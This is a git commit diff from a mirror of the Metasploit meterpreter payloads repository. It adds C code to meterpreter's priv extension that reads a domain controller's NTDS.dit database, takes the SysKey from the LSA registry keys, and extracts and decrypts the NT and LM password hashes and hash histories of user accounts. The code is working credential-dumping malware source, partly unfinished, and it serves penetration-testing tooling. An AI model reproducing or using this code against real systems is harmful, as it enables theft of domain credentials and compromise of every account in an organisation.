mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-20 20:37:27 +01:00
start migrating ntds code in
moving the code chunks from the poc into the actual meterp project
This commit is contained in:
parent
1d1ebe0592
commit
85987b9cbe
@ -48,6 +48,7 @@
|
||||
#define TLV_TYPE_ELEVATE_SERVICE_DLL MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 202 )
|
||||
#define TLV_TYPE_ELEVATE_SERVICE_LENGTH MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 203 )
|
||||
|
||||
#define TLV_TYPE_NTDS_TEST MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 300)
|
||||
#define TLV_TYPE_NTDS_TEST MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 300)
|
||||
#define TLV_TYPE_NTDS_PATH MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 301)
|
||||
|
||||
#endif
|
||||
|
86
c/meterpreter/source/extensions/priv/server/ntds.c
Executable file
86
c/meterpreter/source/extensions/priv/server/ntds.c
Executable file
@ -0,0 +1,86 @@
|
||||
#include "precomp.h"
|
||||
|
||||
|
||||
typedef struct
|
||||
{
|
||||
BOOL eof;
|
||||
} NTDSContext;
|
||||
|
||||
|
||||
DWORD ntds_parse(Remote *remote, Packet *packet){
|
||||
Packet *response = NULL;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
jetState *ntdsState = malloc(sizeof(jetState));
|
||||
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
|
||||
// Check if the File exists
|
||||
if (0xffffffff == GetFileAttributes(filePath)){
|
||||
res = 2;
|
||||
goto out;
|
||||
}
|
||||
strncpy(ntdsState->ntdsPath, filePath, 255);
|
||||
// Attempt to get the SysKey from the Registry
|
||||
unsigned char sysKey[17];
|
||||
if (!get_syskey(sysKey)){
|
||||
res = GetLastError();
|
||||
goto out;
|
||||
}
|
||||
|
||||
out:
|
||||
packet_transmit_response(res, remote, response);
|
||||
return res;
|
||||
}
|
||||
|
||||
DWORD ntds_test_channel(Remote *remote, Packet *packet){
|
||||
PoolChannelOps chops;
|
||||
Channel *newChannel;
|
||||
NTDSContext *ctx;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
Packet *response = packet_create_response(packet);
|
||||
|
||||
// Allocate storage for the NTDS context
|
||||
if (!(ctx = calloc(1, sizeof(NTDSContext)))) {
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
goto out;
|
||||
}
|
||||
|
||||
memset(&chops, 0, sizeof(chops));
|
||||
|
||||
// Initialize the pool operation handlers
|
||||
chops.native.context = ctx;
|
||||
chops.native.write = ntds_channel_write;
|
||||
chops.native.close = ntds_channel_close;
|
||||
chops.read = ntds_channel_read;
|
||||
|
||||
// Allocate the pool channel
|
||||
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
goto out;
|
||||
}
|
||||
|
||||
channel_set_type(newChannel, "ntds");
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
|
||||
packet_transmit_response(res, remote, response);
|
||||
out:
|
||||
return res;
|
||||
}
|
||||
|
||||
static DWORD ntds_channel_write(Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten){
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
static DWORD ntds_channel_read(Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead){
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
NTDSContext *ctx = (NTDSContext *)context;
|
||||
char testString[] = "This is a test of NTDS streaming";
|
||||
strncpy(buffer, testString, sizeof(testString));
|
||||
*bytesRead = sizeof(testString);
|
||||
return result;
|
||||
}
|
||||
|
||||
static DWORD ntds_channel_close(Channel *channel, Packet *request,
|
||||
LPVOID context){
|
||||
return ERROR_SUCCESS;
|
||||
}
|
12
c/meterpreter/source/extensions/priv/server/ntds.h
Executable file
12
c/meterpreter/source/extensions/priv/server/ntds.h
Executable file
@ -0,0 +1,12 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_NTDS_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_NTDS_H
|
||||
|
||||
DWORD ntds_parse(Remote *remote, Packet *packet);
|
||||
DWORD ntds_test_channel(Remote *remote, Packet *packet);
|
||||
static DWORD ntds_channel_write(Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten);
|
||||
static DWORD ntds_channel_read(Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead);
|
||||
static DWORD ntds_channel_close(Channel *channel, Packet *request,
|
||||
LPVOID context);
|
||||
#endif
|
306
c/meterpreter/source/extensions/priv/server/ntds_jet.c
Executable file
306
c/meterpreter/source/extensions/priv/server/ntds_jet.c
Executable file
@ -0,0 +1,306 @@
|
||||
#include "ntds_jet.h"
|
||||
|
||||
JET_ERR engine_shutdown(jetState *ntdsState){
|
||||
JET_ERR shutdownStatus;
|
||||
shutdownStatus = JetCloseDatabase(ntdsState->jetSession, ntdsState->jetDatabase, (JET_GRBIT)NULL);
|
||||
if (shutdownStatus != JET_errSuccess){
|
||||
return shutdownStatus;
|
||||
}
|
||||
shutdownStatus = JetDetachDatabase(ntdsState->jetSession, ntdsState->ntdsPath);
|
||||
if (shutdownStatus != JET_errSuccess){
|
||||
return shutdownStatus;
|
||||
}
|
||||
shutdownStatus = JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL);
|
||||
if (shutdownStatus != JET_errSuccess){
|
||||
return shutdownStatus;
|
||||
}
|
||||
shutdownStatus = JetTerm(ntdsState->jetEngine);
|
||||
return shutdownStatus;
|
||||
}
|
||||
|
||||
JET_ERR engine_startup(jetState *ntdsState){
|
||||
JET_ERR jetError;
|
||||
// Set the Page Size to the highest possibile limit
|
||||
jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramDatabasePageSize, 8192, NULL);
|
||||
if (jetError != JET_errSuccess){
|
||||
return jetError;
|
||||
}
|
||||
// Create our Jet Instance
|
||||
jetError = JetCreateInstance(&ntdsState->jetEngine, "NTDS");
|
||||
if (jetError != JET_errSuccess){
|
||||
return jetError;
|
||||
}
|
||||
// Disable crash recovery and transaction logs
|
||||
jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramRecovery, (JET_API_PTR)NULL, "Off");
|
||||
if (jetError != JET_errSuccess){
|
||||
return jetError;
|
||||
}
|
||||
// Initialise the Jet instance
|
||||
jetError = JetInit(&ntdsState->jetEngine);
|
||||
if (jetError != JET_errSuccess){
|
||||
return jetError;
|
||||
}
|
||||
return JET_errSuccess;
|
||||
}
|
||||
|
||||
JET_ERR get_column_info(jetState *ntdsState, ntdsColumns *accountColumns){
|
||||
JET_ERR columnError;
|
||||
const char attributeNames[][25] = {
|
||||
"ATTm590045",
|
||||
"ATTj590126",
|
||||
"ATTq589983",
|
||||
"ATTk590689",
|
||||
"ATTq589876",
|
||||
"ATTk589879",
|
||||
"ATTk589984",
|
||||
"ATTj589993",
|
||||
"ATTk589914",
|
||||
"ATTk589918",
|
||||
"ATTm13",
|
||||
"ATTj589832",
|
||||
"ATTq589920",
|
||||
"ATTr589970"
|
||||
};
|
||||
JET_COLUMNDEF *columnDefs[] = {
|
||||
&accountColumns->accountName,
|
||||
&accountColumns->accountType,
|
||||
&accountColumns->accountExpiry,
|
||||
&accountColumns->encryptionKey,
|
||||
&accountColumns->lastLogon,
|
||||
&accountColumns->lmHash,
|
||||
&accountColumns->lmHistory,
|
||||
&accountColumns->logonCount,
|
||||
&accountColumns->ntHash,
|
||||
&accountColumns->ntHistory,
|
||||
&accountColumns->accountDescription,
|
||||
&accountColumns->accountControl,
|
||||
&accountColumns->lastPasswordChange,
|
||||
&accountColumns->accountSID,
|
||||
};
|
||||
for (int i = 0; i < 14; i++){
|
||||
columnError = JetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, attributeNames[i], columnDefs[i], sizeof(JET_COLUMNDEF), JET_ColInfo);
|
||||
if (columnError != JET_errSuccess){
|
||||
return columnError;
|
||||
}
|
||||
}
|
||||
return JET_errSuccess;
|
||||
}
|
||||
|
||||
JET_ERR get_PEK(jetState *ntdsState, ntdsColumns *accountColumns, encryptedPEK *pekEncrypted){
|
||||
JET_ERR cursorStatus;
|
||||
JET_ERR readStatus;
|
||||
unsigned char *encryptionKey[76];
|
||||
|
||||
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL);
|
||||
if (cursorStatus != JET_errSuccess){
|
||||
return cursorStatus;
|
||||
}
|
||||
do{
|
||||
//Attempt to retrieve the Password Encryption Key
|
||||
unsigned long columnSize = 0;
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->encryptionKey.columnid, encryptionKey, 76, &columnSize, 0, NULL);
|
||||
if (readStatus == JET_errSuccess){
|
||||
memcpy(pekEncrypted, &encryptionKey, 76);
|
||||
puts("Found the Password Encryption Key");
|
||||
return readStatus;
|
||||
}
|
||||
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL);
|
||||
} while (cursorStatus == JET_errSuccess);
|
||||
return readStatus;
|
||||
}
|
||||
|
||||
JET_ERR open_database(jetState *ntdsState){
|
||||
JET_ERR attachStatus = JetAttachDatabase(ntdsState->jetSession, ntdsState->ntdsPath, JET_bitDbReadOnly);
|
||||
if (attachStatus != JET_errSuccess){
|
||||
return attachStatus;
|
||||
}
|
||||
JET_ERR openStatus = JetOpenDatabase(ntdsState->jetSession, ntdsState->ntdsPath, NULL, &ntdsState->jetDatabase, JET_bitDbReadOnly);
|
||||
if (openStatus != JET_errSuccess){
|
||||
return openStatus;
|
||||
}
|
||||
return JET_errSuccess;
|
||||
}
|
||||
|
||||
JET_ERR read_table(jetState *ntdsState, ntdsColumns *accountColumns, decryptedPEK *pekDecrypted){
|
||||
JET_ERR cursorStatus;
|
||||
JET_ERR readStatus;
|
||||
|
||||
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL);
|
||||
if (cursorStatus != JET_errSuccess){
|
||||
return cursorStatus;
|
||||
}
|
||||
do{
|
||||
// Create a User Account Struct to hold our data
|
||||
ntdsAccount *userAccount = malloc(sizeof(ntdsAccount));
|
||||
memset(userAccount, 0, sizeof(ntdsAccount));
|
||||
|
||||
//Define our temp values here
|
||||
DWORD accountType = 0;
|
||||
FILETIME accountExpiry;
|
||||
SYSTEMTIME accountExpiry2;
|
||||
FILETIME lastLogon;
|
||||
SYSTEMTIME lastLogon2;
|
||||
FILETIME lastPass;
|
||||
SYSTEMTIME lastPass2;
|
||||
DWORD accountControl = 0;
|
||||
unsigned long columnSize = 0;
|
||||
encryptedHash *encryptedLM = malloc(sizeof(encryptedHash));
|
||||
encryptedHash *encryptedNT = malloc(sizeof(encryptedHash));
|
||||
memset(encryptedLM, 0, sizeof(encryptedHash));
|
||||
memset(encryptedNT, 0, sizeof(encryptedHash));
|
||||
|
||||
//Retrieve the account type for this row
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountType.columnid, &accountType, sizeof(accountType), &columnSize, 0, NULL);
|
||||
// Unless this is a User Account, then we skip it
|
||||
if (readStatus == JET_wrnColumnNull || accountType != 0x30000000){
|
||||
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL);
|
||||
continue;
|
||||
}
|
||||
// If any other error has occured we've screwed up and need to fix it for now
|
||||
if (readStatus != JET_errSuccess){
|
||||
exit(readStatus);
|
||||
}
|
||||
// Grab the SID here
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountSID.columnid, &userAccount->accountSID, sizeof(userAccount->accountName), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess){
|
||||
exit(readStatus);
|
||||
}
|
||||
// Derive the RID from the SID
|
||||
int ridIndex = columnSize - sizeof(DWORD);
|
||||
DWORD *ridLoc = (DWORD *)&userAccount->accountSID[ridIndex];
|
||||
userAccount->accountRID = htonl(*ridLoc);
|
||||
|
||||
// Grab the samAccountName here
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountName.columnid, &userAccount->accountName, sizeof(userAccount->accountName), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess){
|
||||
exit(readStatus);
|
||||
}
|
||||
// Grab the account expiration date/time here
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountExpiry.columnid, &accountExpiry, sizeof(accountExpiry), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess){
|
||||
exit(readStatus);
|
||||
}
|
||||
//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
|
||||
FileTimeToSystemTime(&accountExpiry, &accountExpiry2);
|
||||
int dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &accountExpiry2, NULL, userAccount->expiryDate, 255);
|
||||
// Getting Human Readable will fail if account never expires. Just set the expiryDate string to 'never'
|
||||
if (dateResult == 0){
|
||||
strncpy(userAccount->expiryDate, "Never", 6);
|
||||
}
|
||||
// Grab the last logon date and time
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastLogon.columnid, &lastLogon, sizeof(lastLogon), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess){
|
||||
exit(readStatus);
|
||||
}
|
||||
//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
|
||||
FileTimeToSystemTime(&lastLogon, &lastLogon2);
|
||||
dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastLogon2, NULL, userAccount->logonDate, 255);
|
||||
// Getting Human Readable will fail if account has never logged in, much like the expiry date
|
||||
if (dateResult == 0){
|
||||
strncpy(userAccount->logonDate, "Never", 6);
|
||||
}
|
||||
dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastLogon2, NULL, userAccount->logonTime, 255);
|
||||
if (dateResult == 0){
|
||||
strncpy(userAccount->logonTime, "Never", 6);
|
||||
}
|
||||
// Grab the last password change date and time
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastPasswordChange.columnid, &lastPass, sizeof(lastPass), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess){
|
||||
exit(readStatus);
|
||||
}
|
||||
//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
|
||||
FileTimeToSystemTime(&lastPass, &lastPass2);
|
||||
dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastPass2, NULL, userAccount->passChangeDate, 255);
|
||||
// Getting Human Readable will fail if account has never logged in, much like the expiry date
|
||||
if (dateResult == 0){
|
||||
strncpy(userAccount->passChangeDate, "Never", 6);
|
||||
}
|
||||
dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastPass2, NULL, userAccount->passChangeTime, 255);
|
||||
if (dateResult == 0){
|
||||
strncpy(userAccount->passChangeTime, "Never", 6);
|
||||
}
|
||||
// Grab the Account Description here
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountDescription.columnid, &userAccount->accountDescription, sizeof(userAccount->accountDescription), &columnSize, 0, NULL);
|
||||
if (readStatus == JET_wrnColumnNull){
|
||||
memset(userAccount->accountDescription, 0, sizeof(userAccount->accountDescription));
|
||||
}
|
||||
else if (readStatus != JET_errSuccess){
|
||||
exit(readStatus);
|
||||
}
|
||||
// Grab the UserAccountControl flags here
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountControl.columnid, &accountControl, sizeof(accountControl), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess){
|
||||
exit(readStatus);
|
||||
}
|
||||
if (accountControl & NTDS_ACCOUNT_DISABLED){
|
||||
userAccount->accountDisabled = TRUE;
|
||||
}
|
||||
if (accountControl & NTDS_ACCOUNT_LOCKED){
|
||||
userAccount->accountLocked = TRUE;
|
||||
}
|
||||
if (accountControl & NTDS_ACCOUNT_NO_PASS){
|
||||
userAccount->noPassword = TRUE;
|
||||
}
|
||||
if (accountControl & NTDS_ACCOUNT_PASS_EXPIRED){
|
||||
userAccount->passExpired = TRUE;
|
||||
}
|
||||
if (accountControl & NTDS_ACCOUNT_PASS_NO_EXPIRE){
|
||||
userAccount->passNoExpire = TRUE;
|
||||
}
|
||||
// Grab the Logon Count here
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->logonCount.columnid, &userAccount->logonCount, sizeof(userAccount->logonCount), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess){
|
||||
exit(readStatus);
|
||||
}
|
||||
// Grab the NT Hash
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHash.columnid, encryptedNT, sizeof(encryptedHash), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess){
|
||||
if (readStatus == JET_wrnColumnNull){
|
||||
memcpy(&userAccount->ntHash, &BLANK_NT_HASH, 32);
|
||||
}
|
||||
else{
|
||||
exit(readStatus);
|
||||
}
|
||||
}
|
||||
else{
|
||||
decrypt_hash(encryptedNT, pekDecrypted, userAccount->ntHash, userAccount->accountRID);
|
||||
}
|
||||
// Grab the LM Hash
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHash.columnid, encryptedLM, sizeof(encryptedHash), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess){
|
||||
if (readStatus == JET_wrnColumnNull){
|
||||
memcpy(&userAccount->lmHash, &BLANK_LM_HASH, 32);
|
||||
}
|
||||
else{
|
||||
exit(readStatus);
|
||||
}
|
||||
}
|
||||
else{
|
||||
decrypt_hash(encryptedLM, pekDecrypted, userAccount->lmHash, userAccount->accountRID);
|
||||
}
|
||||
// Grab the NT Hash History
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, NULL, 0, &columnSize, 0, NULL);
|
||||
if (readStatus == JET_wrnBufferTruncated){
|
||||
LPBYTE encNTHist = (LPBYTE)malloc(columnSize);
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, encNTHist, columnSize, &columnSize, 0, NULL);
|
||||
decrypt_hash_history(encNTHist, columnSize, pekDecrypted, userAccount->accountRID, &userAccount->ntHistory, &userAccount->numNTHistory);
|
||||
// If there's no NT history, there's no LM history
|
||||
// Grab the LM History
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, NULL, 0, &columnSize, 0, NULL);
|
||||
if (readStatus == JET_wrnBufferTruncated){
|
||||
LPBYTE encLMHist = (LPBYTE)malloc(columnSize);
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, encLMHist, columnSize, &columnSize, 0, NULL);
|
||||
decrypt_hash_history(encLMHist, columnSize, pekDecrypted, userAccount->accountRID, &userAccount->lmHistory, &userAccount->numLMHistory);
|
||||
}
|
||||
else {
|
||||
return readStatus;
|
||||
}
|
||||
}
|
||||
dump_account(userAccount);
|
||||
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL);
|
||||
} while (cursorStatus == JET_errSuccess);
|
||||
if (cursorStatus != JET_errNoCurrentRecord){
|
||||
return cursorStatus;
|
||||
}
|
||||
return JET_errSuccess;
|
||||
}
|
72
c/meterpreter/source/extensions/priv/server/ntds_jet.h
Executable file
72
c/meterpreter/source/extensions/priv/server/ntds_jet.h
Executable file
@ -0,0 +1,72 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_NTDS_JET_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_NTDS_JET_H
|
||||
#include "precomp.h"
|
||||
#include <esent.h>
|
||||
#pragma comment(lib, "esent")
|
||||
|
||||
typedef struct {
|
||||
TCHAR ntdsPath[255];
|
||||
JET_INSTANCE jetEngine;
|
||||
JET_SESID jetSession;
|
||||
JET_DBID jetDatabase;
|
||||
JET_TABLEID jetTable;
|
||||
BOOL eof;
|
||||
}jetState;
|
||||
|
||||
typedef struct {
|
||||
JET_COLUMNDEF accountName;
|
||||
JET_COLUMNDEF accountType;
|
||||
JET_COLUMNDEF accountExpiry;
|
||||
JET_COLUMNDEF accountDescription;
|
||||
JET_COLUMNDEF accountControl;
|
||||
JET_COLUMNDEF encryptionKey;
|
||||
JET_COLUMNDEF lastLogon;
|
||||
JET_COLUMNDEF lastPasswordChange;
|
||||
JET_COLUMNDEF lmHash;
|
||||
JET_COLUMNDEF lmHistory;
|
||||
JET_COLUMNDEF logonCount;
|
||||
JET_COLUMNDEF ntHash;
|
||||
JET_COLUMNDEF ntHistory;
|
||||
JET_COLUMNDEF accountSID;
|
||||
}ntdsColumns;
|
||||
|
||||
typedef struct{
|
||||
wchar_t accountName[20];
|
||||
wchar_t accountDescription[1024];
|
||||
DWORD accountRID;
|
||||
BOOL accountDisabled;
|
||||
BOOL accountLocked;
|
||||
BOOL noPassword;
|
||||
BOOL passNoExpire;
|
||||
BOOL passExpired;
|
||||
int logonCount;
|
||||
int numNTHistory;
|
||||
int numLMHistory;
|
||||
char expiryDate[30];
|
||||
char logonDate[30];
|
||||
char logonTime[30];
|
||||
char passChangeDate[30];
|
||||
char passChangeTime[30];
|
||||
char lmHash[33];
|
||||
char ntHash[33];
|
||||
char lmHistory[792];
|
||||
char ntHistory[792];
|
||||
unsigned char accountSID[24];
|
||||
}ntdsAccount;
|
||||
|
||||
|
||||
// UserAccountControl Flags
|
||||
#define NTDS_ACCOUNT_DISABLED 0x00000002
|
||||
#define NTDS_ACCOUNT_LOCKED 0x00000010
|
||||
#define NTDS_ACCOUNT_NO_PASS 0x00000020
|
||||
#define NTDS_ACCOUNT_PASS_NO_EXPIRE 0x00010000
|
||||
#define NTDS_ACCOUNT_PASS_EXPIRED 0x00800000
|
||||
|
||||
JET_ERR engine_shutdown(jetState *ntdsState);
|
||||
JET_ERR engine_startup(jetState *ntdsState);
|
||||
JET_ERR get_column_info(jetState *ntdsState, ntdsColumns *accountColumns);
|
||||
JET_ERR get_PEK(jetState *ntdsState, ntdsColumns *accountColumns, encryptedPEK *pekEncrypted);
|
||||
JET_ERR open_database(jetState *ntdsState);
|
||||
JET_ERR read_table(jetState *ntdsState, ntdsColumns *accountColumns, decryptedPEK *pekDecrypted);
|
||||
|
||||
#endif
|
@ -24,6 +24,7 @@ Command customCommands[] =
|
||||
COMMAND_REQ( "priv_fs_blank_file_mace", request_fs_blank_file_mace ),
|
||||
COMMAND_REQ( "priv_fs_blank_directory_mace", request_fs_blank_directory_mace ),
|
||||
COMMAND_REQ( "priv_ntds_test", ntds_test_channel),
|
||||
COMMAND_REQ( "priv_ntds_parse", ntds_parse),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
|
63
c/meterpreter/source/extensions/priv/server/syskey.c
Executable file
63
c/meterpreter/source/extensions/priv/server/syskey.c
Executable file
@ -0,0 +1,63 @@
|
||||
#include "syskey.h"
|
||||
|
||||
BOOL get_syskey_component(HKEY lsaHandle, char subkeyName[255], unsigned char *tmpSysKey){
|
||||
DWORD sizeData = 9;
|
||||
long regStatus;
|
||||
HKEY subkeyHandle;
|
||||
unsigned char tmpVal[16];
|
||||
int byteComponent = 0;
|
||||
|
||||
regStatus = RegOpenKeyEx(lsaHandle, subkeyName, 0, KEY_READ, &subkeyHandle);
|
||||
if (regStatus != ERROR_SUCCESS){
|
||||
return FALSE;
|
||||
}
|
||||
regStatus = RegQueryInfoKey(subkeyHandle, (LPSTR)&tmpVal, &sizeData, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
if (regStatus != ERROR_SUCCESS){
|
||||
return FALSE;
|
||||
}
|
||||
byteComponent = strtoimax(tmpVal, NULL, 16);
|
||||
strncat(tmpSysKey, (char *)&byteComponent, 4);
|
||||
RegCloseKey(subkeyHandle);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL get_syskey(unsigned char *sysKey){
|
||||
unsigned char tmpSysKey[17];
|
||||
unsigned char interimSysKey[17];
|
||||
long regStatus;
|
||||
DWORD disposition = 0;
|
||||
HKEY lsaHandle;
|
||||
memset(&tmpSysKey, 0, sizeof(tmpSysKey));
|
||||
memset(&interimSysKey, 0, sizeof(tmpSysKey));
|
||||
|
||||
//Used for descrambling the bytes of the SYSKEY (absurd isn't it?)
|
||||
BYTE syskeyDescrambler[16] = { 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 };
|
||||
|
||||
regStatus = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_READ, NULL, &lsaHandle, &disposition);
|
||||
if (regStatus != ERROR_SUCCESS){
|
||||
return FALSE;
|
||||
}
|
||||
if (disposition == REG_CREATED_NEW_KEY){
|
||||
RegCloseKey(lsaHandle);
|
||||
return FALSE;
|
||||
}
|
||||
if (!get_syskey_component(lsaHandle, "JD", tmpSysKey)){
|
||||
return FALSE;
|
||||
}
|
||||
if (!get_syskey_component(lsaHandle, "Skew1", tmpSysKey)){
|
||||
return FALSE;
|
||||
}
|
||||
if (!get_syskey_component(lsaHandle, "GBG", tmpSysKey)){
|
||||
return FALSE;
|
||||
}
|
||||
if (!get_syskey_component(lsaHandle, "Data", tmpSysKey)){
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
for (int i = 0; i < 16; i++) {
|
||||
interimSysKey[i] = tmpSysKey[syskeyDescrambler[i]];
|
||||
}
|
||||
strncpy(sysKey, interimSysKey, 17);
|
||||
RegCloseKey(lsaHandle);
|
||||
return TRUE;
|
||||
}
|
7
c/meterpreter/source/extensions/priv/server/syskey.h
Executable file
7
c/meterpreter/source/extensions/priv/server/syskey.h
Executable file
@ -0,0 +1,7 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_SYSKEY_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_SYSKEY_H
|
||||
#include "precomp.h"
|
||||
BOOL get_syskey_component(HKEY lsaHandle, char subkeyName[255], unsigned char *tmpSysKey);
|
||||
BOOL get_syskey(unsigned char *sysKey);
|
||||
|
||||
#endif
|
Loading…
Reference in New Issue
Block a user